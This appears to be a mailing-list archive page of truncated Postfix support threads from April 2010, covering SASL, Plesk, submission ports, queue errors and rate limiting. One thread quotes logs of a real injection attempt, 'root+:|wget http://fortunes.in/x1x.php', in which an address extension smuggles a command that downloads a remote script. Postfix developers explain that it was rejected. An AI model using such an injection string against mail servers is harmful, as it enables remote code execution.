On Thu, Apr 22, 2010 at 05:20:37PM +0200, Danny wrote:
> I am running Debian 5.4 with postfix 2.5.5-1.1, fetchmail
> 6.3.9rc2-4 and procmail 3.22-16.
>
> Now, before I upgraded to Debian 5.4 I had Debian 4.0 running the
> same postfix, fetchmail & procmail setup(with different versions
> obviou
On Thu, Apr 22, 2010 at 06:35:52PM -0400, Bill Cole wrote:
>> In: DATA
>> Out: 354 End data with.
>> Out: 451 4.3.0 Error: queue file write error
>
> http://www.postfix.org/SMTPD_PROXY_README.html explains one possible source
> of this: inability to connect to a before-queue proxy.
This i
Sent from my iPhone
On 23/04/2010, at 10:10, Noel Jones wrote:
On 4/22/2010 6:54 PM, webmas...@aus-city.com wrote:
I do see some auth stuff in the logs, I put a snip:
Apr 21 05:05:31 server postfix/smtpd[21639]: connect from
unknown[xx.xx.xx.xx]
Apr 21 05:05:31 server postfix/smtpd[21639
On 4/22/2010 6:54 PM, webmas...@aus-city.com wrote:
I do see some auth stuff in the logs, I put a snip:
Apr 21 05:05:31 server postfix/smtpd[21639]: connect from
unknown[xx.xx.xx.xx]
Apr 21 05:05:31 server postfix/smtpd[21639]: NOQUEUE:
client=unknown[xx.xx.xx.xx], sasl_method=PLAIN, sasl_user
On 4/22/2010 6:17 PM, Oliver Schinagl wrote:
Well what I'm after is the following:
Postfix should be nice and locked, no relaying or anything like that;
backup_max's should be allowed to relay of course, and users who have
logged in properly via, say thunderbird (using sasl_auth).
Also I would
Quoting Noel Jones :
On 4/22/2010 6:19 PM, webmas...@aus-city.com wrote:
Seems its plesk and not logging everything in the logs. It uses its own
logging for mail, I could not find my successful login (below). The
saslauthd is not running, but plesk must start use another process to do
this, bu
On 4/22/2010 6:19 PM, webmas...@aus-city.com wrote:
Seems its plesk and not logging everything in the logs. It uses its own
logging for mail, I could not find my successful login (below). The
saslauthd is not running, but plesk must start use another process to do
this, but its is running:
Log
Quoting Noel Jones :
On 4/22/2010 8:00 AM, webmas...@aus-city.com wrote:
Quoting Noel Jones :
On 4/22/2010 12:10 AM, David Cottle wrote:
I tried running
testsaslauthd -u usermailname -p matchingpass -s smtp
I get
connect () : No such file or directory
You need to debug your sasl insta
On 04/23/10 00:45, Noel Jones wrote:
> On 4/22/2010 5:16 PM, Oliver Schinagl wrote:
>> On 04/22/10 19:21, /dev/rob0 wrote:
>>> On Wed, Apr 21, 2010 at 09:49:49PM -0500, Noel Jones wrote:
>>>
"submission" is commented out in the default postfix config because
a relatively small subset of f
On Thu, Apr 22, 2010 at 06:35:52PM -0400, Bill Cole wrote:
> The Doctor wrote, On 4/22/10 5:38 PM:
>> First off apologies for the rather sharp tone:
>>
>> A case of too many agngry customers breathing down the neck.
>>
>> Anyhow I have been since recover been getting many of these:
>>
>> - Forw
brian moore wrote, On 4/22/10 6:02 PM:
Google -does- usually use ESMTP, so it really looks like you have a
Pix running SMTP Fixup, which doesn't fix anything at all.
It can fix the problem of receiving too much mail. :)
It should be noted that the Cisco ASA also has this misfeature, and
repo
On 4/22/2010 5:16 PM, Oliver Schinagl wrote:
On 04/22/10 19:21, /dev/rob0 wrote:
On Wed, Apr 21, 2010 at 09:49:49PM -0500, Noel Jones wrote:
"submission" is commented out in the default postfix config because
a relatively small subset of folks using postfix need it, and it's
not nice to open p
Quoting Noel Jones :
On 4/22/2010 7:59 AM, webmas...@aus-city.com wrote:
Sorry its got all truncated. Where exactly do I need to add that in
here? (I added a extra line between each)
plesk_virtual unix - n n - - pipe flags=DORhu user=popuser:popuser
argv=/usr/lib/plesk-9.0/postfix-local -f ${
The Doctor wrote, On 4/22/10 5:38 PM:
First off apologies for the rather sharp tone:
A case of too many agngry customers breathing down the neck.
Anyhow I have been since recover been getting many of these:
- Forwarded message from Mail Delivery
System -
X-Spam-Checker-Version: Spam
On 04/22/10 19:21, /dev/rob0 wrote:
> On Wed, Apr 21, 2010 at 09:49:49PM -0500, Noel Jones wrote:
>
>> "submission" is commented out in the default postfix config because
>> a relatively small subset of folks using postfix need it, and it's
>> not nice to open ports not needed.
>>
> I wou
On Thu, 22 Apr 2010 15:38:06 -0600
The Doctor wrote:
> Out: 220 doctor.nl2k.ab.ca ESMTP Postfix (2.8-20100323)
> In: mail-iw0-f172.google.com
> Out: 402 4.5.2 Error: command not recognized
is not a valid SMTP/ESMTP command.
Are you using a Pix?
> Out: 451 4.3.0 Error: queue fi
First off apologies for the rather sharp tone:
A case of too many agngry customers breathing down the neck.
Anyhow I have been since recover been getting many of these:
- Forwarded message from Mail Delivery System
-
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on doctor.nl
Charles Marcus a écrit :
> On 2010-04-21 5:53 PM, mouss wrote:
>> Charles Marcus a écrit :
>>> I know this isn't exactly a postfix question, but I'm hoping someone
>>> will have pity on me and answer anyway...
>>>
>>> I have a server using postfix+courier-imap+cyrus-sasl. Currently the
>>> query in
On Wed, Apr 21, 2010 at 09:49:49PM -0500, Noel Jones wrote:
> "submission" is commented out in the default postfix config because
> a relatively small subset of folks using postfix need it, and it's
> not nice to open ports not needed.
I would say that the subset is (or will soon be) a majority
CT wrote:
Noel Jones wrote:
On 4/18/2010 4:40 PM, groups wrote:
Noel Jones wrote, On 04/18/2010 04:20 PM:
On 4/18/2010 4:16 PM, groups wrote:
Postfix logs help you know what happened to a particular message.
Look
in your logs for bounces (sender=<>) arriving from your
relayhost, and
see w
Excellent, that makes everything clear.
Thanks a lot,
Arno
On 22.04.2010 15:41, Wietse Venema wrote:
> Arno Sch�fer:
> [ Charset ISO-8859-1 unsupported, converting... ]
>> On 22.04.2010 14:47, Wietse Venema wrote:
>>> Arno Sch?fer:
Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC354
On Thu, Apr 22, 2010 at 8:07 AM, Wietse Venema wrote:
>
> Per-destination rate delay was introduced two major releases ago.
> http://www.postfix.org/postconf.5.html#transport_destination_rate_delay
>
> Note: this inserts the specified delay after each delivery via the
> named transport, over a sin
Arno Sch?fer:
[ Charset ISO-8859-1 unsupported, converting... ]
> On 22.04.2010 14:47, Wietse Venema wrote:
> > Arno Sch?fer:
> >> Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address
> >> with illegal extension: root+:|wget http://fortunes.in/x1x.php
> >
> > You did't mention in
Hi guys,
I am running Debian 5.4 with postfix 2.5.5-1.1, fetchmail 6.3.9rc2-4 and
procmail 3.22-16.
Now, before I upgraded to Debian 5.4 I had Debian 4.0 running the same postfix,
fetchmail & procmail setup(with different versions obviously).
Fetchmail got the mail, gave it to procmail via the (
On 4/22/2010 8:00 AM, webmas...@aus-city.com wrote:
Quoting Noel Jones :
On 4/22/2010 12:10 AM, David Cottle wrote:
I tried running
testsaslauthd -u usermailname -p matchingpass -s smtp
I get
connect () : No such file or directory
You need to debug your sasl installation.
-- Noel Jones
On 2010-04-21 5:53 PM, mouss wrote:
> Charles Marcus a écrit :
>> I know this isn't exactly a postfix question, but I'm hoping someone
>> will have pity on me and answer anyway...
>>
>> I have a server using postfix+courier-imap+cyrus-sasl. Currently the
>> query in virtual_mailbox_maps is:
>>
>> q
On 4/22/2010 7:59 AM, webmas...@aus-city.com wrote:
> Sorry its got all truncated. Where exactly do I need to add that in
here? (I added a extra line between each)
plesk_virtual unix - n n - - pipe flags=DORhu user=popuser:popuser
argv=/usr/lib/plesk-9.0/postfix-local -f ${sender} -d ${recipient
On 22.04.2010 14:47, Wietse Venema wrote:
> Arno Schäfer:
>> Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address
>> with illegal extension: root+:|wget http://fortunes.in/x1x.php
>
> You did't mention in the initial report that Postfix rejected the
> extension, because that make
Quoting Noel Jones :
On 4/22/2010 12:10 AM, David Cottle wrote:
I tried running
testsaslauthd -u usermailname -p matchingpass -s smtp
I get
connect () : No such file or directory
You need to debug your sasl installation.
-- Noel Jones
Hi Noel,
Any idea where to start as this is pr
Quoting Noel Jones :
On 4/21/2010 10:15 PM, David Cottle wrote:
Sent from my iPhone
On 22/04/2010, at 12:00, Noel Jones wrote:
On 4/21/2010 6:35 PM, David Cottle wrote:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
I am having some issues with my server blocking ISP IP addresses.
I kno
Arno Sch??fer:
> Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address
> with illegal extension: root+:|wget http://fortunes.in/x1x.php
You did't mention in the initial report that Postfix rejected the
extension, because that makes all the difference in the world.
Apparently, the
On 4/21/2010 10:15 PM, David Cottle wrote:
Sent from my iPhone
On 22/04/2010, at 12:00, Noel Jones wrote:
On 4/21/2010 6:35 PM, David Cottle wrote:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
I am having some issues with my server blocking ISP IP addresses.
I know a recent update to pl
On 4/22/2010 12:10 AM, David Cottle wrote:
I tried running
testsaslauthd -u usermailname -p matchingpass -s smtp
I get
connect () : No such file or directory
You need to debug your sasl installation.
-- Noel Jones
On 4/22/2010 7:02 AM, Oliver Schinagl wrote:
But I don't think this will fix my initial issue, with clients being
rejected on the RBL Auth issue does it? I think I did read that
smtpd_delay_reject was good.
Then it's a different issue. Show "postconf -n" and logs of
the unwanted behavior. I
Michael P. Soulier:
> Hello,
>
> Is there a way to configure postfix such that sending bulk email (ie. a
> mailing list) can be rate limited by the recipient domain?
>
> I saw in the documentation that you can control the number of
> concurrent connections to the same destination, but I'd like to
On 04/22/10 04:49, Noel Jones wrote:
> On 4/21/2010 9:03 PM, Oliver Schinagl wrote:
>> On 04/22/10 03:55, Noel Jones wrote:
>>> On 4/21/2010 8:39 PM, Oliver Schinagl wrote:
>
Heh, I suppose it wasn't as straightforward as that; I'll look more
into
it after some sleep, I enabled i
On 22.04.2010 12:50, Wietse Venema wrote:
> Arno Sch�fer:
>> Hi,
>>
>> I just received the following mail in my root account's local inbox:
>>
>> >From b...@dick.com Fri Apr 9 17:54:55 2010
>> Return-Path:
>> X-Original-To: "root+:|wget http://fortunes.in/x1x.php";
>> Delivered-To: "root+:|wget
Arno Sch?fer:
> Hi,
>
> I just received the following mail in my root account's local inbox:
>
> >From b...@dick.com Fri Apr 9 17:54:55 2010
> Return-Path:
> X-Original-To: "root+:|wget http://fortunes.in/x1x.php";
> Delivered-To: "root+:|wget http://fortunes.in/x1x.php"@somedomain.de
> Receiv
Hello,
Is there a way to configure postfix such that sending bulk email (ie. a
mailing list) can be rate limited by the recipient domain?
I saw in the documentation that you can control the number of concurrent
connections to the same destination, but I'd like to control the rate that the
email i
Hi,
I just received the following mail in my root account's local inbox:
>From b...@dick.com Fri Apr 9 17:54:55 2010
Return-Path:
X-Original-To: "root+:|wget http://fortunes.in/x1x.php";
Delivered-To: "root+:|wget http://fortunes.in/x1x.php"@somedomain.de
Received: from bluedick (unknown [208.
On 2010-04-22 Vegard Svanberg wrote:
> * Ansgar Wiechers [2010-04-21 13:11]:
>
>>> Example 2: u...@example.invalid is forwarded to r...@example2.invalid.
>>> r...@example2.invalid does not exist; neither as an alias nor a mailbox.
>>>
>>> SMTP dialog:
>>>
>>> rcpt to:
>>> 250 2.1.5 Ok
>>
>> T
* Ansgar Wiechers [2010-04-21 13:11]:
> > Example 2: u...@example.invalid is forwarded to r...@example2.invalid.
> > r...@example2.invalid does not exist; neither as an alias nor a mailbox.
> >
> > SMTP dialog:
> >
> > rcpt to:
> > 250 2.1.5 Ok
>
> This is expected behavior as well. Postfix o
42 matches
Mail list logo
